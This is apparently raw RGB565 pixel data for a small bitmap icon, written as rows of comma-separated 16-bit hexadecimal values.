0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x48B0,0x40B0,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0802,0x0000,0x0000,0x0802,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x388C,0x308C,0x58D4,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AE,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x1025,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x40AF,0x0001,0x0000,0x0000,0x0000,0x388D,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0001,0x0000,0x0000,0x0000,0x0000,0x0001,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0001,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x2068,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0801,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0801,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x40AF,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x388E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2069,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AE,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x7119,0x793C,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x895F,0x895F,0x895F,0x793B,0x60F5,0x60F6,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AE,0x60F7,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x48B1,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x40AE,0x1023,0x0802,0x1825,0x58D4,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x58F5,0x1025,0x0000,0x0000,0x1846,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0802,0x48D2,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x58D4,0x0823,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0001,0x40AF,0x815E,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x48D2,0x0802,0x0000,0x0000,0x0000,0x0000,0x2048,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x388D,0x0823,0x0801,0x1846,0x58F5,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x60F7,0x2047,0x0802,0x0822,0x306B,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x60F7,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x40AF,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x7119,0x813D,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x813D,0x7119,0x711A,0x895E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x713B,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x388C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x48B0,0x895E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x68F7,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 